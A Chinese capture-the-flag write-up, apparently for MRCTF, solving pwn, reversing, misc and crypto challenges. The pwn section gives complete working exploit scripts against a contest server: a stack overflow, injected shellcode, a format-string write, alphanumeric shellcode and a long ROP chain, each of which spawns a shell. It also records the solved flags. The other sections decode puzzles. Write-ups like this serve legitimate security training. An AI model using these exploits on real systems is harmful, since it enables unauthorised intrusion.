pwn

easyoverflow

  • 1.checksec
1
2
3
4
5
Arch:     amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
  • 2.IDA

main

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
int __cdecl main(int argc, const char **argv, const char **envp)
{
char v4; // [rsp+0h] [rbp-70h]
............................
unsigned __int64 v12; // [rsp+68h] [rbp-8h]

v12 = __readfsqword(0x28u);
v5 = 'f_@_t3uj';
v6 = 'g@1f_3k@';
v7 = 0LL;
v8 = 0LL;
v9 = 0LL;
v10 = 0LL;
v11 = 0;
gets(&v4, argv);
if ( !(unsigned int)check((__int64)&v5) )
exit(0);
system("/bin/sh");
return 0;
}

check

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
signed __int64 __fastcall check(__int64 a1)
{
int i; // [rsp+18h] [rbp-8h]
int v3; // [rsp+1Ch] [rbp-4h]

v3 = strlen(fake_flag);
for ( i = 0; ; ++i )
{
if ( i == v3 )
return 1LL;
if ( *(_BYTE *)(i + a1) != fake_flag[i] )
break;
}
return 0LL;
}

栈空间

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
0000000000000070 var_70          db ?
-000000000000006F db ? ; undefined
-000000000000006E db ? ; undefined
.................... ...................
-0000000000000040 v5 dq ?
-0000000000000038 v6 dq ?
-0000000000000030 v7 dq ?
-0000000000000028 v8 dq ?
-0000000000000020 v9 dq ?
-0000000000000018 v10 dq ?
-0000000000000010 v11 dw ?
-000000000000000E db ? ; undefined
.................... ...........
-0000000000000009 db ? ; undefined
-0000000000000008 var_8 dq ?
+0000000000000000 s db 8 dup(?)
+0000000000000008 r db 8 dup(?)

bss

1
2
3
data:0000000000201010 fake_flag       dq offset aN0tR311yF1G  ; DATA XREF: check+C↑r
.data:0000000000201010 ; check+44↑r
.data:0000000000201010 _data ends ; "n0t_r3@11y_f1@g"

栈上覆盖 v5~v11 的值为n0t_r3@11y_f1@g绕过检测

  • 3.EXP
1
2
3
4
5
6
7
from pwn import *
context.log_level = "debug"
#p = process("./easy_overflow")
p = remote("38.39.244.2","28050")
paylaod = 'a'*(0x70-0x40)+'n0t_r3@11y_f1@g'
p.sendline(paylaod)
p.interactive()

shellcode

  • 1.checksec
1
2
3
4
5
6
Arch:     amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX disabled
PIE: PIE enabled
RWX: Has RWX segments

很明显,段具有执行权限,则很大概率会是写入shellcode

  • IDA

main

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
; __unwind {
push rbp
mov rbp, rsp
sub rsp, 410h
mov rax, cs:stdin@@GLIBC_2_2_5
mov esi, 0 ; buf
mov rdi, rax ; stream
call _setbuf
mov rax, cs:stdout@@GLIBC_2_2_5
mov esi, 0 ; buf
mov rdi, rax ; stream
call _setbuf
mov rax, cs:stderr@@GLIBC_2_2_5
mov esi, 0 ; buf
mov rdi, rax ; stream
call _setbuf
lea rdi, s ; "Show me your magic!"
call _puts
lea rax, [rbp+buf]
mov edx, 400h ; nbytes
mov rsi, rax ; buf
mov edi, 0 ; fd
mov eax, 0
call _read
mov [rbp+var_4], eax
cmp [rbp+var_4], 0
jg short loc_11D6
mov eax, 0
jmp short locret_11E4
-----------------------------------------------------
loc_11D6: ; CODE XREF: main+78↑j
lea rax, [rbp+buf]
call rax
mov eax, 0
locret_11E4: ; CODE XREF: main+7F↑j
leave
retn
;} // starts at 1155

无栈溢出则进入loc_11D6,bufrax,在call rax ,执行shellcode

  • 3.EXP
1
2
3
4
5
6
7
8
9
from pwn import *
context.log_level = "debug"
context(arch='amd64',os='linux')
#p = process("./shellcode")
p = remote("38.39.244.2","28019")

shellcode = asm(shellcraft.sh())
p.sendlineafter("Show me your magic!\n",shellcode)
p.interactive()

easy_equation

  • 1.checksec
1
2
3
4
5
Arch:     amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
  • IDA

main

1
2
3
4
5
6
7
8
9
10
11
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s; // [rsp+Fh] [rbp-1h]

memset(&s, 0, 0x400uLL);
fgets(&s, 1023, stdin);
printf(&s, 1023LL);
if ( 11 * judge * judge + 17 * judge * judge * judge * judge - 13 * judge * judge * judge - 7 * judge == 198 )
system("exec /bin/sh");
return 0;
}

字符串格式化漏洞,可以修改judge为函数的解来满足条件

  • 3.EXP

    • P1.计算jugde
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    #include <iostream>
    using namespace std;
    long equation(int n);
    int main()
    {
    for(int i = 1; i<=1000; i++)
    {
    if (equation(i)==198)
    {
    cout<<i<<endl;
    break;
    }
    }
    }

    long equation(int judge)
    {
    return 11*judge*judge+17*judge*judge*judge*judge-13*judge*judge*judge-7*judge;
    }
    • P2.jugde=2,EXP
    1
    2
    3
    4
    5
    6
    7
    8
    9
    from pwn import *
    context.log_level = "debug"
    #p = process("./easy_equation")
    p = remote("38.39.244.2",28046)
    judge = 0x60105C
    payload = "aa%9$naaa"+p64(0x60105C)
    #arg_8 arg_9 arg_10
    p.sendline(payload)
    p.interactive()

相关链接:CTF Wiki格式化字符串漏洞利用

shellcode Revenge

  • checksec
1
2
3
4
5
6
Arch:     amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX disabled
PIE: PIE enabled
RWX: Has RWX segments

看上去和之前的没什么两样

  • IDA

依旧无法f5,但是汇编很容易理顺他的逻辑

发现就是输入的shellcode和内容逐一比较,且shellcode的字符串的限定范围大致如下

1
2
3
4
5
(s[i] <= '@' || s[i] > 'Z')
&& (s[i] <= '`' || s[i] > 'z')
&& (s[i] <= '/' || s[i] > '9')
&& s[i] != '\n'
&& s[i]

这个时候用ae64来生成shellcode,类似的题还有UNCTF-2019-EasyShellcode

  • EXP
1
2
3
4
5
6
7
8
9
10
from pwn import *
from ae64 import AE64
context(arch='amd64',os='linux')
context.log_level = 'debug'
#p = process("shellcode-revenge")
p =remote("38.39.244.2","28000")
obj = AE64()
sc = obj.encode(asm(shellcraft.sh()))
p.sendafter("Show me your magic!\n",sc)
p.interactive()

nothing_but_everything

  • checksec
1
2
3
4
5
Arch:     amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)

可能是栈溢出

  • IDA

没有main函数之类的,但是汇编上有很多可以利用的gadget,推测使用ROPgadget自动生成ropchain

手动测的溢出为140,得到EXP

  • EXP
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
from struct import pack
from pwn import *
context.log_level = "debug"
sh = remote("38.39.244.2","27972")
p = ''
p += pack('<Q', 0x00000000004100d3) # pop rsi ; ret
p += pack('<Q', 0x00000000006b90e0) # @ .data
p += pack('<Q', 0x00000000004494ac) # pop rax ; ret
p += '/bin/'
p += pack('<Q', 0x000000000047f261) # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x00000000004100d3) # pop rsi ; ret
p += pack('<Q', 0x00000000006b90e8) # @ .data + 8
p += pack('<Q', 0x0000000000444840) # xor rax, rax ; ret
p += pack('<Q', 0x000000000047f261) # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x0000000000400686) # pop rdi ; ret
p += pack('<Q', 0x00000000006b90e0) # @ .data
p += pack('<Q', 0x00000000004100d3) # pop rsi ; ret
p += pack('<Q', 0x00000000006b90e8) # @ .data + 8
p += pack('<Q', 0x0000000000449505) # pop rdx ; ret
p += pack('<Q', 0x00000000006b90e8) # @ .data + 8
p += pack('<Q', 0x0000000000444840) # xor rax, rax ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000040123c) # syscall

sh.sendline(p)
sh.interactive()

re

Transform

  • 1.查壳好习惯

无壳

  • 2.IDA

main

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
// local variable allocation has failed, the output may be wrong!
int __cdecl main(int argc, const char **argv, const char **envp)
{
__int64 v3; // rdx
__int64 v4; // rdx
char v6[104]; // [rsp+20h] [rbp-70h]
int j; // [rsp+88h] [rbp-8h]
int i; // [rsp+8Ch] [rbp-4h]

sub_402230(argc, argv, envp);
sub_40E640(argc, (__int64)argv, v3, (__int64)"Give me your code:\n");
sub_40E5F0(argc, (__int64)argv, (__int64)v6, (__int64)"%s");// v6=input
if ( strlen(*(const char **)&argc) != 33 )
{
sub_40E640(argc, (__int64)argv, v4, (__int64)"Wrong!\n");
system(*(const char **)&argc);
exit(argc);
}
for ( i = 0; i <= 32; ++i ) //加密算法
{
byte_414040[i] = v6[dword_40F040[i]]; //按顺序取位置给byte_414040
v4 = i;
byte_414040[i] ^= LOBYTE(dword_40F040[i]); //异或
}
for ( j = 0; j <= 32; ++j ) //校验flag
{
v4 = j;
if ( aGyURsywBFbLwya[j] != byte_414040[j] ) //比较
{
sub_40E640(argc, (__int64)argv, j, (__int64)"Wrong!\n");
system(*(const char **)&argc);
exit(argc);
}
}
sub_40E640(argc, (__int64)argv, v4, (__int64)"Right!Good Job!\n");
sub_40E640(argc, (__int64)argv, (__int64)v6, (__int64)"Here is your flag: %s\n");
system(*(const char **)&argc);
return 0;
}

dword_40F040

1
2
3
dd 9, 10, 15, 23, 7, 24, 12, 6, 1, 16, 3, 17, 32, 29, 11
dd 30, 27, 22, 4, 13, 19, 20, 21, 2, 25, 5, 31, 8, 18
dd 26, 28, 14, 0 (ida会误判为8dup(0))

aGyURsywBFbLwya

1
aGyURsywBFbLwya db 'gy{',7Fh,'u+<RSyW^]B{-*fB~LWyAk~e<\EobM',0
  • 解密脚本
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#include <iostream>
using namespace std;
int main()
{
int num[33]={9, 10, 15, 23, 7, 24, 12, 6, 1, 16, 3, 17, 32, 29, 11,30, 27, 22, 4, 13, 19, 20, 21, 2, 25, 5, 31, 8, 18,26, 28, 14, 0};
int chr[33]={0x67,0x79,0x7b,0x7f,0x75,0x2b,0x3c,0x52,0x53,0x79,0x57,0x5e,0x5d,0x42,0x7b,0x2d,0x2a,0x66,0x42,0x7e,0x4c,0x57,0x79,0x41,0x6b,0x7e,0x65,0x3c,0x5c,0x45,0x6f,0x62,0x4d};
int tmp[33];
char flag[33];
for (int i = 0; i < 33; ++i)
tmp[i]=num[i]^chr[i];

for (int i = 0; i < 33; ++i)
flag[num[i]]=tmp[i];

for (int i = 0; i < 33; ++i)
cout<<flag[i];
cout<<endl;
return 0;
}

misc

CyberPunk

直接更改系统时间即可《赛博朋克2077》 —— 2019年E3官方预告片

ezmisc

下载发现是一张图片

  • 查看相关信息
    • 发现高宽不同
    • HxD修改高宽一至出现flag

千层套路

  • 第一层:

    • 拿到压缩包,注意看注释: Hint:密码均为四位数字 和压缩包名字有关联哦

      Python真好用233。试一试就会发现密码为压缩包的名字

    • 开始写脚本解压

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    #from pwn import * 为了更好的显示
    import zipfile
    import os

    name = "0573.zip"
    name_ptr=[]

    def unzip(filename):
    zf = zipfile.ZipFile(filename)
    zl = zf.namelist()
    password = filename[:4]
    for f in zl:
    zf.extract(f,pwd=password)
    #log.success(str(f)+" +Done+") 显示当前解压成功文件
    unzip(str(f))
    zf.close()

    unzip(name)
  • 第二层:

    • 得到文件:qr.txt
    • 进分析发现只有(255,255,255)和(0,0,0),二者分别是rgb中的黑色和白色,刚好4000行,说明这是一个 200 x 200的二维码
    • 开始解码
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    from PIL import Image

    x = 200
    y = 200

    im = Image.new("RGB", (x, y))
    file = open('qr2.txt')

    for i in range(0, x):
    for j in range(0, y):
    line = file.readline()
    rgb = line.split(", ")
    im.putpixel((i, j), (int(rgb[0]), int(rgb[1]), int(rgb[2])))

    im.save('flag.jpg')

    为了更好的写脚本,我直接将qr.txt的()删去了

不眠之夜

直接拼图,技巧就是拼到一定程度会搜到原图然后继续拼图就行了

拼出的图

你能看懂音符吗

  • **1.**压缩包无法被解压
    • 用sublime打开,发现文件头损坏,修复即可,将第一块改为5261
  • **2.**解压后发现一个word文档
    • 打开文档,发现没有什么东西,但是有几个空格
    • 其实word文档就是个压缩包,我们改后缀为zip解压
    • 解压后在/word/document.xml发现有一串音符,和题意相近,说明方向正确,将♭♯♪‖¶♬♭♭♪♭‖‖♭♭♬‖♫♪‖♩♬‖♬♬♭♭♫‖♩♫‖♬♪♭♭♭‖¶∮‖‖‖‖♩♬‖♬♪‖♩♫♭♭♭♭♭§‖♩♩♭♭♫♭♭♭‖♬♭‖¶§♭♭♯‖♫∮‖♬¶‖¶∮‖♬♫‖♫♬‖♫♫§=文本加密为音乐符号中解密出flag
    • flag: MRCTF{thEse_n0tes_ArE_am@zing~}

pyFlag

  • **1.**打开压缩包,发现三张图

    • 用binwalk跑一下,发现2、3张图有蹊跷,
    • 但是提取后文件损坏
  • 2.使用二进制分析

    • HxD分别打开三张图片,在.jpg文件尾部发现线索

    Setsuna.jpg

    1
    0x24740 [Secret File Part1:]PK。。。。。。。。

    说明这里是压缩包的第一部分,且符合zip文件头

    Furan.jpg

    1
    0x26BC0 [Secret File Part2:]。。。。。。。。。

    Miku.jpg

    1
    0x40830 [Secret File Part 3:]。。。。。。。。。。。
  • 3.得到zip

    • 解压需要密码,同时没有给出压缩包中的文件,以及文件信息过大,所以不适合使用明文攻击CRC32爆破
    • 使用ARCHPR进行爆破,设置长度 1-6位,先试试
    • 得到密码:1234
  • 4.得到两个文件,一个是flag,一个是提示

    • 在提示中,0x30=48并不意味着要使用base48解码,在逐步解码的过程中会发现更本没有使用base48
    • 可以在查看解码后的字母和数字的种类推测编码方式
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    #code in python3
    import base64

    a = "G&eOhGcq(ZG(t2*H8M3dG&wXiGcq(ZG&wXyG(j~tG&eOdGcq+aG(t5oG(j~qG&eIeGcq+aG)6Q<G(j~rG&eOdH9<5qG&eLvG(j~sG&nRdH9<8rG%++qG%__eG&eIeGc+|cG(t5oG(j~sG&eOlH9<8rH8C_qH9<8oG&eOhGc+_bG&eLvH9<8sG&eLgGcz?cG&3|sH8M3cG&eOtG%_?aG(t5oG(j~tG&wXxGcq+aH8V6sH9<8rG&eOhH9<5qG(<E-H8M3eG&wXiGcq(ZG)6Q<G(j~tG&eOtG%+<aG&wagG%__cG&eIeGcq+aG&M9uH8V6cG&eOlH9<8rG(<HrG(j~qG&eLcH9<8sG&wUwGek2)"
    b = base64.b85decode(a)
    print("Now in base85>")
    print(b)
    print()

    c = base64.b16decode(b)
    print("Now in base16>")
    print(c)
    print()

    d = base64.b32decode(c)
    print("Now in base32>")
    print(d)
    print()

    e = base64.b16decode(d)
    print("Now in base16>")
    print(e)
    print()

    f = base64.b64decode(e)
    print("Now in base64>")
    print(f)
    print()
  • flag: MRCTF{Y0u_Are_4_p3rFect_dec0der}

crypto

天干地支+甲子

1
2
3
4
5
6
7
8
9
得到得字符串用MRCTF{}包裹
一天Eki收到了一封来自Sndav的信,但是他有点迷希望您来解决一下
甲戌
甲寅
甲寅
癸卯
己酉
甲寅
辛丑

按照网上的密码表解码+甲子(60):71 111 111 100 106 111 98

转为ascii码

1
2
3
4
5
>>> s = [71, 111, 111, 100, 106, 111 ,98]
>>> for i in s:
... print(chr(int(str(i))),end="")
...
Goodjob

keyboard

因为系主任是主攻密码学的,所以讲过,使用九键输入法

eg: 666 ,6号键第3个字母

得到flag: MRCTF{mobilephone}

古典密码知多少

这个靠积累吧

蓝色:猪圈密码

黑色:银河标准字母

橙色:圣武士密码

得到的是:flagiscryptofun

得到flag:MRCTF{CRYPTOFUN} (这里试了好多遍才试出来要大写)